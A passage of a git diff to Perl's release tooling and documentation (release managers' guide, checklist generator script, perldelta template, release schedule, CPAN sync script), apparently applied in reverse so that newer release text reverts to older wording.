v5.28.0-RC1 - Anu Garg, A Word A Day - -L - - One doesn't have to know the unit of pain (dol) to realize that the - unit of joy is not the dollar, or any other currency for that matter. - -=head2 v5.27.11 - Tana French, In the Woods - -L - - And then, too, I had learned early to assume something dark and - lethal hidden at the heart of anything I loved. When I couldn't find - it, I responded, bewildered and wary, in the only way I knew how: by - planting it there myself. - =head2 v5.27.10 - Robert A. Heinlein, Time Enough for Love, p. 248 L @@ -311,22 +257,6 @@ L - -How does a cat use its whiskers? The usual answer is that the whiskers -are feelers that enable a cat to tell whether a gap is wide enough for -it to squeeze through, but the truth is more complicated and more -remarkable. In addition to their obvious role as feelers sensitive to -touch, the whiskers also operate as air-current detectors. As the cat -moves along in the dark it needs to manoeuvre past solid objects without -touching them. Each solid object it approaches causes slight eddies in -the air, minute disturbances in the currents of air movements, and the -cat's whiskers are so amazingly sensitive that they can read these air -changes and respond to the presence of solid obstacles even without -touching them. - =head2 v5.26.2-RC1 - Desmond Morris, "Catwatching: The Essential Guide to Cat Behaviour" L @@ -627,21 +557,6 @@ L - -Cats hate doors. Doors simply do not register in the evolutionary story -of the cat family. They constantly block patrolling activities and -prevent cats from exploring their home range and then returning to their -central, secure base at will. Humans often do not understand that a cat -needs to make only a brief survey of its territory before returning with -all the necessary information about the activities of other cats in the -vicinity. It likes to make these tours of inspection at frequent -intervals, but does not want to stay outside for very long, unless there -has been some special and unexpected change in the condition of the -local feline population. - =head2 v5.24.4-RC1 - Desmond Morris, "Catwatching: The Essential Guide to Cat Behaviour" L diff --git a/Porting/exec-bit.txt b/Porting/exec-bit.txt index 83448f7d28ca..bf79b623980a 100644 --- a/Porting/exec-bit.txt +++ b/Porting/exec-bit.txt @@ -52,7 +52,6 @@ Porting/findrfuncs Porting/makerel Porting/make_dot_patch.pl Porting/make_snapshot.pl -Porting/mksample Porting/newtests-perldelta.pl Porting/perlhist_calculate.pl Porting/sort_perldiag.pl diff --git a/Porting/how_to_write_a_perldelta.pod b/Porting/how_to_write_a_perldelta.pod index 73c17c9ed257..cc3bbe198695 100644 --- a/Porting/how_to_write_a_perldelta.pod +++ b/Porting/how_to_write_a_perldelta.pod @@ -91,8 +91,8 @@ For a release on a stable branch, follows this formula: For the start of a new stable branch, follows this formula: - This document describes differences between the 5.10.0 release - and the 5.12.0 release. + This document describes differences between the 5.12.0 release + and the 5.10.0 release. Clearly this sets the scope of which changes are to be summarised in the rest of the document. diff --git a/Porting/make-rmg-checklist b/Porting/make-rmg-checklist index 8b11ed02fc06..e25186c85e01 100644 --- a/Porting/make-rmg-checklist +++ b/Porting/make-rmg-checklist @@ -1,214 +1,145 @@ -#!/usr/bin/perl +#!perl use strict; use warnings; -use Getopt::Long qw< :config no_ignore_case >; +use autodie; -sub pod { - my $filename = shift; +use Getopt::Long; +use Pod::Simple::HTML; - open my $fh, '<', $filename - or die "Cannot open file ($filename): $!\n"; +sub main { + my ( $help, $type, $html ); + GetOptions( + 'type:s' => \$type, + 'html' => \$html, + 'help' => \$help, + ); - my @lines = <$fh>; - - close $fh - or die "Cannot close file ($filename): $!\n"; - - return \@lines; -} - -sub _help { - my $msg = shift; - if ($msg) { - print "Error: $msg\n\n"; - } - - print << "_END_HELP"; -$0 --version VERSION + if ($help) { + print <<'EOF'; +make-rmg-checklist [--type TYPE] This script creates a release checklist as a simple HTML document. It accepts the following arguments: - --version The version you are working on. This will infer the type - of release you want to have + --type The release type for the checklist. This can be BLEAD-FINAL, + BLEAD-POINT, MAINT, or RC. This defaults to BLEAD-POINT. - --html Output HTML instead of POD -_END_HELP + --html Output HTML instead of POD - exit; -} +EOF -sub _type_from_version { - my $version = shift; + exit; + } - # 5.26.0 = BLEAD-FINAL - # 5.26.0-RC1 = RC - # 5.26.1 = MAINT - # 5.27.0 = BLEAD-POINT - # 5.27.1 = BLEAD-POINT - $version =~ m{^ 5\. (\d{1,2}) \. (\d{1,2}) (?: -RC(\d) )? $}xms - or die "Version must be 5.x.y or 5.x.y-RC#\n"; + $type = _validate_type($type); - my ( $major, $minor, $rc ) = ( $1, $2, $3 ); + open my $fh, '<', 'Porting/release_managers_guide.pod'; + my $pod = do { local $/; <$fh> }; + close $fh; - # Dev release - if ( $major % 2 != 0 ) { - defined $rc - and die "Cannot have BLEAD-POINT RC release\n"; + my $heads = _parse_rmg( $pod, $type ); + my $new_pod = _munge_pod( $pod, $heads ); - return 'BLEAD-POINT'; + if ($html) { + my $simple = Pod::Simple::HTML->new(); + $simple->output_fh(*STDOUT); + $simple->parse_string_document($new_pod); + } + else { + print $new_pod; } - - defined $rc - and return 'RC'; - - return $minor == 0 ? 'BLEAD-FINAL' : 'MAINT'; } -sub iterate_items { - my ( $items, $type, $cb ) = @_; +sub _validate_type { + my $type = shift || 'BLEAD-POINT'; - ITEM: - foreach my $item ( @{$items} ) { - foreach my $meta ( @{ $item->{'metadata'} || [] } ) { - if ( $meta =~ /skip .+ $type/xms ) { - next ITEM; - } - elsif ( $meta =~ /skip/xms ) { - $item->{content} =~ - s/^ [^\n]* \b MUST\ SKIP\ this\ step \b [^\n]* \n\n//xms; - } - } + my @valid = qw( BLEAD-FINAL BLEAD-POINT MAINT RC ); + my %valid = map { $_ => 1 } @valid; - $cb->($item); - } -} + unless ( $valid{ uc $type } ) { + my $err + = "The type you provided ($type) is not a valid release type. It must be one of "; + $err .= join ', ', @valid; + $err .= "\n"; -sub create_checklist { - my ( $type, $items ) = @_; + die $err; + } - my $collect; - my $prev_head = 0; - my $over_level; - iterate_items( $items, $type, sub { - my $item = shift; + return $type; +} - foreach my $meta ( @{ $item->{'metadata'} || [] } ) { - $meta =~ /checklist \s+ begin/xmsi - and $collect = 1; +sub _parse_rmg { + my $pod = shift; + my $type = shift; - $meta =~ /checklist \s+ end/xmsi - and $collect = 0; + my @heads; + my $include = 0; + my %skip; + for ( split /\n/, $pod ) { + if (/^=for checklist begin/) { + $include = 1; + next; } - $collect - or return; + next unless $include; - $over_level = ( $item->{'head'} - 1 ) * 4; + last if /^=for checklist end/; - print $prev_head < $item->{'head'} ? "=over $over_level\n\n" - : $prev_head > $item->{'head'} ? "=back\n\n" - : ''; + if (/^=for checklist skip (.+)/) { + %skip = map { $_ => 1 } split / /, $1; + next; + } - chomp( my $name = $item->{'name'} ); - print "=item * L<< /$name >>\n\n"; + if (/^=head(\d) (.+)/) { + unless ( keys %skip && $skip{$type} ) { + push @heads, [ $1, $2 ]; + } - $prev_head = $item->{'head'}; - }); + %skip = (); + } + } - print "=back\n\n" x ( $over_level / 4 ); + return \@heads; } -my ($version, $html); -GetOptions( - 'version|v=s' => \$version, - 'html' => \$html, - 'help|h' => sub { _help(); }, -); - -defined $version - or _help('You must provide a version number'); - -my $pod_output = ''; -if ($html) { - require Pod::Simple::HTML; - open my $fh, '>', \$pod_output - or die "Can't create fh to string: $!\n"; - select $fh; -} +sub _munge_pod { + my $pod = shift; + my $heads = shift; -my $type = _type_from_version($version); + $pod =~ s/=head1 NAME.+?(=head1 SYNOPSIS)/$1/s; -chomp( my @pod_lines = @{ pod('Porting/release_managers_guide.pod') } ); + my $new_pod = <<'EOF'; +=head1 NAME -my ( @items, $current_element, @leading_attrs ); -my $skip_headers = qr/^=encoding/xms; -my $passthru_headers = qr/^= (?: over | item | back | cut )/xms; +Release Manager's Guide with Checklist -foreach my $line (@pod_lines) { - $line =~ $skip_headers - and next; +=head2 Checklist - if ( $line =~ /^ =head(\d) \s+ (.+) $/xms ) { - my ( $head_num, $head_title ) = ( $1, $2 ); +EOF - my $elem = { - 'head' => $head_num, - 'name' => $head_title, - }; + my $last_level = 0; + for my $head ( @{$heads} ) { + my $level = $head->[0] - 1; - if (@leading_attrs) { - $elem->{'metadata'} = [ @leading_attrs ]; - @leading_attrs = (); + if ( $level > $last_level ) { + $new_pod .= '=over ' . $level * 4; + $new_pod .= "\n\n"; + } + elsif ( $level < $last_level ) { + $new_pod .= "=back\n\n" for 1 .. ( $last_level - $level ); } - $current_element = $elem; - push @items, $elem; + $new_pod .= '=item * ' . 'L<< /' . $head->[1] . " >>\n\n"; - next; + $last_level = $level; } - if ( $line =~ /^ =for \s+ (.+) $ /xms ) { - push @leading_attrs, $1; - next; - } + $new_pod .= "=back\n\n" while $last_level--; - $line =~ $passthru_headers - or length $line == 0 # allow empty lines - or $line =~ /^[^=]/xms - or die "Cannot recognize line: '$line'\n"; + $new_pod .= $pod; - $current_element->{'content'} .= "\n" . $line; + return $new_pod; } -print << "_END_BEGINNING"; -=head1 NAME - -Release Manager's Guide with Checklist for $version ($type) - -=head2 Checklist - -_END_BEGINNING - -# Remove beginning -# This can also be done with a '=for introduction' in the future -$items[0]{'name'} =~ /^NAME/xmsi - and shift @items; - -$items[0]{'name'} =~ /^MAKING \s+ A \s+ CHECKLIST/xmsi - and shift @items; - -create_checklist( $type, \@items ); - -iterate_items( \@items, $type, sub { - my $item = shift; - print "=head$item->{'head'} $item->{'name'}"; - print "$item->{'content'}\n"; -} ); - -if ($html) { - my $simple = Pod::Simple::HTML->new; - $simple->output_fh(*STDOUT); - $simple->parse_string_document($pod_output); -} +main(); diff --git a/Porting/makerel b/Porting/makerel index a4b2ed7d6843..53ecdc2cdafc 100755 --- a/Porting/makerel +++ b/Porting/makerel @@ -28,18 +28,19 @@ use Getopt::Std; $|=1; sub usage { die <Policy.sh <<'EOP' -libswanted="cl pthread $libswanted" -EOP - -sh ./Configure -Dprefix=/opt/perl \ - -Dcf_by='yourname' \ - -Dcf_email='yourname@yourhost.yourplace.com' \ - -Dperladmin='yourname@yourhost.yourplace.com' \ - -Dmydomain='.yourplace.com' \ - -Dmyhostname='yourhost' \ - -Duse64bitint \ - -Dusedevel \ - -dE -test $? = 0 || exit 1 -chmod u+w Porting Porting/config* -cp config.sh Porting/config.sh -sh config_h.SH -cat <<'EOCP' > Porting/config_H -/* This file (config_H) is a sample config.h file. If you are unable - to successfully run Configure, copy this file to config.h and - edit it to suit your system. -*/ -EOCP -cat config.h >> Porting/config_H -rm config.sh config.h diff --git a/Porting/perldelta_template.pod b/Porting/perldelta_template.pod index 3ebe8d0170bb..7d6a7fe269a3 100644 --- a/Porting/perldelta_template.pod +++ b/Porting/perldelta_template.pod @@ -51,7 +51,7 @@ XXX Any deprecated features, syntax, modules etc. should be listed here. =head2 Module removals -XXX Remove this section if not applicable. +XXX Remove this section if inapplicable. The following modules will be removed from the core distribution in a future release, and will at that time need to be installed from CPAN. @@ -83,7 +83,7 @@ as an updated module in the L section. XXX Changes which enhance performance without changing behaviour go here. There may well be none in a stable release. -[ List each enhancement as an =item entry ] +[ List each enhancement as a =item entry ] =over 4 @@ -101,13 +101,7 @@ following sections using F. A paragraph summary for important changes should then be added by hand. In an ideal world, dual-life modules would have a F file that could be cribbed. -The list of new and updated modules is modified automatically as part of -preparing a Perl release, so the only reason to manually add entries here is if -you're summarising the important changes in the module update. (Also, if the -manually-added details don't match the automatically-generated ones, the -release manager will have to investigate the situation carefully.) - -[ Within each section, list entries as an =item entry ] +[ Within each section, list entries as a =item entry ] =head2 New Modules and Pragmata @@ -115,7 +109,7 @@ release manager will have to investigate the situation carefully.) =item * -XXX Remove this section if not applicable. +XXX =back @@ -127,8 +121,6 @@ XXX Remove this section if not applicable. L has been upgraded from version A.xx to B.yy. -If there was something important to note about this change, include that here. - =back =head2 Removed Modules and Pragmata @@ -156,16 +148,10 @@ XXX Description of the purpose of the new file here =head2 Changes to Existing Documentation -We have attempted to update the documentation to reflect the changes -listed in this document. If you find any we have missed, send email -to L. - XXX Changes which significantly change existing files in F go here. However, any changes to F should go in the L section. -Additionally, the following selected changes have been made: - =head3 L =over 4 @@ -248,7 +234,7 @@ go here. Any other changes to the Perl build process should be listed here. However, any platform-specific changes should be listed in the L section, instead. -[ List changes as an =item entry ]. +[ List changes as a =item entry ]. =over 4 @@ -266,18 +252,7 @@ large changes to the testing harness (e.g. when parallel testing was added). Changes to existing files in F aren't worth summarizing, although the bugs that they represent may be covered elsewhere. -XXX If there were no significant test changes, say this: - -Tests were added and changed to reflect the other additions and changes -in this release. - -XXX If instead there were significant changes, say this: - -Tests were added and changed to reflect the other additions and -changes in this release. Furthermore, these significant changes were -made: - -[ List each test improvement as an =item entry ] +[ List each test improvement as a =item entry ] =over 4 @@ -291,7 +266,7 @@ XXX XXX Any changes to platform support should be listed in the sections below. -[ Within the sections, list each platform as an =item entry with specific +[ Within the sections, list each platform as a =item entry with specific changes as paragraphs below it. ] =head2 New Platforms @@ -342,7 +317,7 @@ XXX Changes which affect the interface available to C code go here. Other significant internal changes for future core maintainers should be noted as well. -[ List each change as an =item entry ] +[ List each change as a =item entry ] =over 4 @@ -357,7 +332,7 @@ XXX XXX Important bug fixes in the core language are summarized here. Bug fixes in files in F and F are best summarized in L. -[ List each fix as an =item entry ] +[ List each fix as a =item entry ] =over 4 @@ -373,7 +348,7 @@ XXX Descriptions of platform agnostic bugs we know we can't fix go here. Any tests that had to be Ced for the release would be noted here. Unfixed platform specific bugs also go here. -[ List each fix as an =item entry ] +[ List each fix as a =item entry ] =over 4 @@ -396,14 +371,14 @@ the perldelta of a previous release. =head1 Obituary -XXX If any significant core contributor or member of the CPAN community has -died, add a short obituary here. +XXX If any significant core contributor has died, we've added a short obituary +here. =head1 Acknowledgements XXX Generate this with: - perl Porting/acknowledgements.pl v5.27.11..HEAD + perl Porting/acknowledgements.pl v5.26.2..HEAD =head1 Reporting Bugs diff --git a/Porting/pod_rules.pl b/Porting/pod_rules.pl index 2ba023ba7c9d..7bf138007782 100644 --- a/Porting/pod_rules.pl +++ b/Porting/pod_rules.pl @@ -1,7 +1,7 @@ #!/usr/bin/perl -w use strict; -our (%Build, %Targets, $Verbose, $Test); +use vars qw(%Build %Targets $Verbose $Test); use Text::Tabs; use Text::Wrap; use Getopt::Long; diff --git a/Porting/pumpkin.pod b/Porting/pumpkin.pod index 55131822a53f..a1fe67503b27 100644 --- a/Porting/pumpkin.pod +++ b/Porting/pumpkin.pod @@ -292,47 +292,41 @@ F, and F files are all automatically generated by perl scripts. In general, don't patch these directly; patch the data files instead. +F and F are also automatically generated by +B. In general, you should patch the metaconfig units +instead of patching these files directly. However, very minor changes +to F may be made in between major sync-ups with the +metaconfig units, which tends to be complicated operations. But be +careful, this can quickly spiral out of control. Running metaconfig +is not really hard. + Also F is automatically produced from F. In general, look out for all F<*.SH> files. -Finally, the sample files F and F in the -F subdirectory are generated by the script F. - -=head3 Files generated by metaconfig - -F, F and F are generated by -B (see below for more information on how to use this system) -and direct changes to these files should in general not be pushed to blead. - -The exceptions are: +Finally, the sample files in the F subdirectory are +generated automatically by the script F included +with the metaconfig units. See L<"run metaconfig"> below for +information on obtaining the metaconfig units. -=over 4 - -=item * - -security fixes - -=item * - -changes pre-approved by the metaconfig maintainers +=head1 How to Make a Distribution -=back +This section has now been expanded and moved into its own file, +F. -Such changes should also be notified to the metaconfig maintainers. +I've kept some of the subsections here for now, as they don't directly +relate to building a release any more, but still contain what might be +useful information - DAPM 7/2009. -Alternatively, do consider if the F<*ish.h> files or the hint files might -be a better place for your changes. +=head2 run metaconfig -=head1 Working with metaconfig +If you need to make changes to Configure or config_h.SH, it may be best to +change the appropriate metaconfig units instead, and regenerate Configure. -Information about how to use metaconfig can be found in the F -and F files in the metaconfig repository containing Perl's -metaconfig units: + metaconfig -m - # anonymous clone - git clone https://github.com/perl5-metaconfig/metaconfig.git - # or using a registered github.com identity with ssh - git clone github.com:perl5-metaconfig/metaconfig metaconfig +will regenerate F and F. Much more information +on obtaining and running metaconfig is in the F file +that comes with Perl's metaconfig units. Since metaconfig is hard to change, running correction scripts after this generation is sometimes needed. Configure gained complexity over @@ -341,14 +335,16 @@ when compiling perl. Therefor, you need to run Porting/config_h.pl after that generation. All that and more is described in the README files that come with the metaunits. -=head1 How to Make a Distribution - -This section has now been expanded and moved into its own file, -F. +Perl's metaconfig units should be available on CPAN. A set of units +that will work with perl5.9.x is in a file with a name similar to +F under L. +The mc_units tar file should be unpacked in your main perl source directory. +Note: those units were for use with 5.9.x. There may have been changes since +then. Check for later versions or contact perl5-porters@perl.org to obtain a +pointer to the current version. -I've kept some of the subsections here for now, as they don't directly -relate to building a release any more, but still contain what might be -useful information - DAPM 7/2009. +Alternatively, do consider if the F<*ish.h> files or the hint files might be +a better place for your changes. =head2 MANIFEST @@ -475,7 +471,7 @@ Let's not force people to keep changing it. =head2 PPPort -F needs to be synchronized to include all +F needs to be synchronized to include all new macros added to .h files (normally F and F, but others as well). Since chances are that when a new macro is added the committer will forget to update F, it's the best to diff for @@ -1389,11 +1385,11 @@ copyrights alone. Doing more than that requires quite a bit of tracking. =head1 AUTHORS Original author: Andy Dougherty doughera@lafayette.edu . -Additions by Chip Salzenberg chip@perl.com, Tim Bunce and the perl5 -development team. +Additions by Chip Salzenberg chip@perl.com and +Tim Bunce Tim.Bunce@ig.co.uk . All opinions expressed herein are those of the authorZ<>(s). =head1 LAST MODIFIED -2017-10-13 Dominic Hargreaves +2009-07-08-01 Jesse Vincent diff --git a/Porting/release_announcement_template.txt b/Porting/release_announcement_template.txt index 29f9b276f958..89d3b9aa355a 100644 --- a/Porting/release_announcement_template.txt +++ b/Porting/release_announcement_template.txt @@ -13,6 +13,7 @@ https://metacpan.org/release/[AUTHOR]/perl-5.[VERSION.SUBVERSION]/ SHA1 digests for this release are: [TAR.GZ SHA1] perl-5.[VERSION.SUBVERSION].tar.gz + [TAR.BZ2 SHA1] perl-5.[VERSION.SUBVERSION].tar.bz2 [TAR.XZ SHA1] perl-5.[VERSION.SUBVERSION].tar.xz You can find a full list of changes in the file "perldelta.pod" located in @@ -23,7 +24,7 @@ https://metacpan.org/pod/release/[AUTHOR]/perl-5.[VERSION.SUBVERSION]/pod/perlde [ACKNOWLEDGEMENTS SECTION FROM PERLDELTA] We expect to release version [NEXT BLEAD VERSION.SUBVERSION] on [FUTURE -DATE]. The next major stable release of Perl 5, version 28.0, should -appear in May 2018. +DATE]. The next major stable release of Perl 5, version 26.0, should +appear in May 2017. [YOUR SALUTATION HERE] diff --git a/Porting/release_managers_guide.pod b/Porting/release_managers_guide.pod index cd2042bc1d5b..247713893f5e 100644 --- a/Porting/release_managers_guide.pod +++ b/Porting/release_managers_guide.pod @@ -16,13 +16,13 @@ document that starts with a checklist for your release. This script is run as: perl Porting/make-rmg-checklist \ - --version [5.x.y-RC#] > /tmp/rmg.pod + --type [BLEAD-POINT or MAINT or ...] > /tmp/rmg.pod You can also pass the C<--html> flag to generate an HTML document instead of POD. perl Porting/make-rmg-checklist --html \ - --version [5.x.y-RC#] > /tmp/rmg.html + --type [BLEAD-POINT or MAINT or ...] > /tmp/rmg.html =head1 SYNOPSIS @@ -144,7 +144,7 @@ Andreas' email address at: =head3 rt.perl.org update access Make sure you have permission to close tickets on L -so you can respond to bug reports as necessary during your stint. If you +so you can respond to bug report as necessary during your stint. If you don't, make an account (if you don't have one) and contact the pumpking with your username to get ticket-closing permission. @@ -182,7 +182,6 @@ is only needed on the day of the release or shortly afterwards. =head3 Quotation for release announcement epigraph You will need a quotation to use as an epigraph to your release announcement. -It will live forever (along with Perl), so make it a good one. =head3 Install the previous version of perl @@ -244,7 +243,7 @@ necessary, fix things up. For example, you might think that both blead and maint are synchronised with a particular CPAN module, but one might have some extra changes. -=head4 Sync CPAN modules with the corresponding cpanE distro +=head3 How to sync a CPAN module with a cpanE distro In most cases, once a new version of a distribution shipped with core has been uploaded to CPAN, the core version thereof can be synchronized automatically @@ -336,14 +335,13 @@ If everything is ok, commit the changes. For entries with a non-simple C section, or with a C, you may have to take more steps than listed above. -=head3 Ensure dual-life CPAN module stability +=head3 dual-life CPAN module stability -This comes down to: +Ensure dual-life CPAN modules are stable, which comes down to: for each module that fails its regression tests on $current did it fail identically on $previous? - if yes, "SEP" (Somebody Else's Problem, but try to make sure a - bug ticket is filed) + if yes, "SEP" (Somebody Else's Problem) else work out why it failed (a bisect is useful for this) attempt to group failure causes @@ -362,7 +360,7 @@ This comes down to: =head3 monitor smoke tests for failures Similarly, monitor the smoking of core tests, and try to fix. See -L, L +L, L and L for a summary. See also L which has the raw reports. @@ -388,7 +386,7 @@ L Get perldelta in a mostly finished state. -Read F, and try to make sure that +Read F, and try to make sure that every section it lists is, if necessary, populated and complete. Copy edit the whole document. @@ -497,7 +495,7 @@ blead release, so you may find nothing to do here. Check that the copyright years are up to date by running: - $ pushd t; ./perl -I../lib porting/copyright.t --now + $ ./perl t/porting/copyright.t --now Remedy any test failures by editing README or perl.c accordingly (search for the "Copyright"). If updating perl.c, check if the file's own copyright date in @@ -535,12 +533,11 @@ If necessary update the list and the indicated version number. =head3 check a readonly build -Even before other prep work, follow the steps in L and test +Even before other prep work, follow the steps in L and test it locally. Because a perl source tarballs sets many files read-only, it could test differently than tests run from the repository. After you're sure permissions aren't a problem, delete the generated directory and tarballs. - =head2 Building a release - on the day This section describes the actions required to make a release @@ -591,18 +588,19 @@ maintainer for 'cpan' upstream modules. =head4 Bump Module::CoreList* $VERSIONs -If necessary, bump C<$VERSION> (there's no need to do this +If necessary, bump C<$Module::CoreList::VERSION> (there's no need to do this for every RC; in RC1, bump the version to a new clean number that will appear in the final release, and leave as-is for the later RCs and final). It may also happen that C has been modified in blead, and hence has a new version number already. (But make sure it is not the same number as a CPAN release.) +C<$Module::CoreList::TieHashDelta::VERSION> and C<$Module::CoreList::Utils::VERSION> should always be equal to C<$Module::CoreList::VERSION>. If necessary, bump those two versions to match before proceeding. -Once again, the files to modify are: +The files to modify are: =over 4 @@ -614,6 +612,10 @@ F F +=item * + +F + =back =head4 Update C with module version data for the new release. @@ -644,7 +646,7 @@ on HTTP::Tiny to fetch package metadata remotely. (If you'd prefer to have a full CPAN mirror, see L) -Change to your perl checkout, and if necessary, +Then change to your perl checkout, and if necessary, $ make @@ -671,8 +673,6 @@ Check those files over carefully: Also edit Module::CoreList's new version number in its F file. This file is F. -(BLEAD-POINT releases should have had this done already as a post-release -action from the last commit.) =head4 Add Module::CoreList version bump to perldelta @@ -732,7 +732,6 @@ run through pod and spell checkers, e.g. $ podchecker -warnings -warnings pod/perldelta.pod $ spell pod/perldelta.pod - $ aspell list < pod/perldelta.pod | sort -u Also, you may want to generate and view an HTML version of it to check formatting, e.g. @@ -740,6 +739,8 @@ formatting, e.g. $ ./perl -Ilib ext/Pod-Html/bin/pod2html pod/perldelta.pod > \ /tmp/perldelta.html +Another good HTML preview option is L + If you make changes, be sure to commit them. =for checklist skip BLEAD-POINT MAINT RC @@ -931,23 +932,23 @@ Create a tarball. Use the C<-s> option to specify a suitable suffix for the tarball and directory name: $ cd root/of/perl/tree - $ make distclean # make sure distclean works - $ git clean -xdf # make sure perl and git agree on files - # git clean should not output anything! - $ git status --ignored # and there's nothing lying around + $ make distclean # make sure distclean works + $ git clean -xdf # make sure perl and git agree on files + # git clean should not output anything! + $ git status # and there's nothing lying around - $ perl Porting/makerel -x -s RC1 # for a release candidate - $ perl Porting/makerel -x # for the release itself + $ perl Porting/makerel -bx -s RC1 # for a release candidate + $ perl Porting/makerel -bx # for the release itself -This creates the directory F<../perl-x.y.z-RC1> or similar, copies all +This creates the directory F<../perl-x.y.z-RC1> or similar, copies all the MANIFEST files into it, sets the correct permissions on them, then -tars it up as F<../perl-x.y.z-RC1.tar.gz>. The C<-x> also produces a -C file. +tars it up as F<../perl-x.y.z-RC1.tar.gz>. With C<-b>, it also creates a +C file. The C<-x> also produces a C file. If you're getting your tarball suffixed with -uncommitted and you're sure your changes were all committed, you can override the suffix with: - $ perl Porting/makerel -x -s '' + $ perl Porting/makerel -b -s '' XXX if we go for extra tags and branches stuff, then add the extra details here @@ -962,7 +963,8 @@ Once you have a tarball it's time to test the tarball (not the repository). =head4 Copy the tarball to a web server -Copy the tarballs (.gz and .xz) to a web server somewhere you have access to. +Copy the tarballs (.gz and possibly .bz2 and .xz) to a web server somewhere you +have access to. =head4 Download the tarball to another machine and unpack it @@ -1105,7 +1107,7 @@ a new release with a new minor version or RC number. https://pause.perl.org/ -(Log in, then select 'Upload a file to CPAN') +(Login, then select 'Upload a file to CPAN') If your workstation is not connected to a high-bandwidth, high-reliability connection to the Internet, you should probably use the @@ -1123,13 +1125,7 @@ on dromedary. I: if your upload is partially successful, you may need to contact a PAUSE administrator or even bump the version of perl. -Upload the .gz and .xz versions of the tarball. - -Note: You can also use the command-line utility to upload your tarballs, if -you have it configured: - - cpan-upload perl-5.X.Y.tar.gz - cpan-upload perl-5.X.Y.tar.xz +Upload the .gz, .xz, and .bz2 versions of the tarball. Do not proceed any further until you are sure that your tarballs are on CPAN. Check your authors directory www.cpan.org (the globally balanced "fast" @@ -1167,8 +1163,7 @@ Be sure to commit your change: =head3 announce to p5p -Mail perl5-porters@perl.org to announce your new release, with a quote you prepared earlier. -Get the SHA1 digests from the PAUSE email responses. +Mail p5p to announce your new release, with a quote you prepared earlier. Use the template at Porting/release_announcement_template.txt @@ -1243,8 +1238,7 @@ Confirm that you have a clean checkout with no local changes. =item * -Run: - perl Porting/new-perldelta.pl +Run F =item * @@ -1265,8 +1259,6 @@ Skip to the end of its test output to see the options it offers you. When C passes, commit the new perldelta. - git commit -m'new perldelta for 5.X.Y' - =back At this point you may want to compare the commit with a previous bump to @@ -1445,8 +1437,9 @@ which should be identical to what is currently in blead. =item * -Bump the $VERSION in F -and F. +Bump the $VERSION in F, +F and +F. =item * diff --git a/Porting/release_schedule.pod b/Porting/release_schedule.pod index 2c5427bcf720..39cee52b5284 100644 --- a/Porting/release_schedule.pod +++ b/Porting/release_schedule.pod @@ -11,25 +11,21 @@ release schedules for the next, current and previous stable versions of Perl. Dates with two or more question marks will only be releases if deemed necessary by the Pumpking. -=head2 Perl 5.30 +=head2 Perl 5.28 -Code freezes (which happen in the 5.29.X series) +Code freezes (which happen in the 5.27.X series) - 2018-03-20 5.27.7 Contentious changes freeze - 2018-04-20 5.27.8 User-visible changes to correctly + 2018-02-20 5.27.9 Contentious changes freeze + 2018-03-20 5.27.10 User-visible changes to correctly functioning programs freeze - 2018-05-20 5.27.9 Full code freeze - 2018-06-20 5.28.0 Stable release! - -=head2 Perl 5.28 - - 2018-05-20 5.28.0 ✓ Sawyer X + 2018-04-20 5.27.11 Full code freeze + 2018-05-20 5.28.0 Stable release! =head2 Perl 5.26 2017-05-30 5.26.0 ✓ Sawyer X 2017-09-22 5.26.1 ✓ Steve Hay - 2018-04-14 5.26.2 ✓ Steve Hay + 2018-04-14 5.26.2 Steve Hay =head2 Perl 5.24 @@ -37,7 +33,7 @@ Code freezes (which happen in the 5.29.X series) 2017-01-14 5.24.1 ✓ Steve Hay 2017-07-15 5.24.2 ✓ Steve Hay 2017-09-22 5.24.3 ✓ Steve Hay - 2018-04-14 5.24.4 ✓ Steve Hay + 2018-04-14 5.24.4 Steve Hay =head2 Perl 5.22 @@ -74,7 +70,7 @@ you should reset the version numbers to the next blead series. 2018-01-20 5.27.8 ✓ Abigail 2018-02-20 5.27.9 ✓ Renee Bäcker 2018-03-20 5.27.10 ✓ Todd Rinaldo - 2018-04-20 5.27.11 ✓ Sawyer X + 2018-04-20 5.27.11 Sawyer X (RC0 for 5.28.0 will be released once we think that all the blockers have been addressed. This typically means some time in April or May.) diff --git a/Porting/sync-with-cpan b/Porting/sync-with-cpan index f81e14abaec2..e6cfd8f36e31 100755 --- a/Porting/sync-with-cpan +++ b/Porting/sync-with-cpan @@ -137,7 +137,7 @@ use Archive::Tar; use File::Basename qw( basename ); use File::Path qw( remove_tree ); use File::Find; -use File::Spec::Functions qw( tmpdir rel2abs ); +use File::Spec::Functions qw( tmpdir ); use Config qw( %Config ); $| = 1; @@ -282,8 +282,6 @@ if (!-d $files [0] || grep { $_ eq $module } @problematic) { say "--force is in effect, so we'll soldier on. Wish me luck!"; } -use Cwd 'cwd'; -my $orig_pwd = cwd(); chdir "cpan"; @@ -297,29 +295,12 @@ if ($cpan_mod =~ /-/ && $cpan_mod !~ /::/) { $cpan_mod =~ s/-/::/g; } -sub wget { - my ($url, $saveas) = @_; - eval { - require HTTP::Tiny; - my $http= HTTP::Tiny->new(); - $http->mirror( $url => $saveas ); - 1 - } or - # Some system do not have wget. Fall back to curl if we do not - # have it. On Windows, `which wget` is not going to work, so - # just use wget, as this script has always done. - WIN32 || -x substr(`which wget`, 0, -1) - ? system wget => $url, '-qO', $saveas - : system curl => $url, '-sSo', $saveas; -} - # # Find the information from CPAN. # my $new_file; my $new_version; if (defined $tarball) { - $tarball = rel2abs( $tarball, $orig_pwd ) ; die "Tarball $tarball does not exist\n" if !-e $tarball; die "Tarball $tarball is not a plain file\n" if !-f _; $new_file = $tarball; @@ -332,7 +313,12 @@ else { # Poor man's cache # unless (-f $package_file && -M $package_file < 1) { - wget $package_url, $package_file; + eval { + require HTTP::Tiny; + my $http= HTTP::Tiny->new(); + $http->mirror( $package_url => $package_file ); + 1 + } or system wget => $package_url, '-qO', $package_file; } open my $fh, '<', $package_file; @@ -348,12 +334,17 @@ else { die "The latest version of $module is $new_version, but blead already has it\n" if $new_version eq $old_version; - my $url = "https://cpan.metacpan.org/authors/id/$new_path"; + my $url = "http://search.cpan.org/CPAN/authors/id/$new_path"; say "Fetching $url"; # # Fetch the new distro # - wget $url, $new_file; + eval { + require HTTP::Tiny; + my $http= HTTP::Tiny->new(); + $http->mirror( $url => $new_file ); + 1 + } or system wget => $url, '-qO', $new_file; } my $old_dir = "$pkg_dir-$old_version"; @@ -495,7 +486,7 @@ if (@de_exec && @delete) { # Mustn't change the +x bit on files that are whitelisted # if (@de_exec) { - my %permitted = map { (my $x = $_) =~ tr/\n//d; $x => 1 } grep !/^#/, + my %permitted = map +(tr/\n//dr => 1), grep !/^#/, do { local @ARGV = 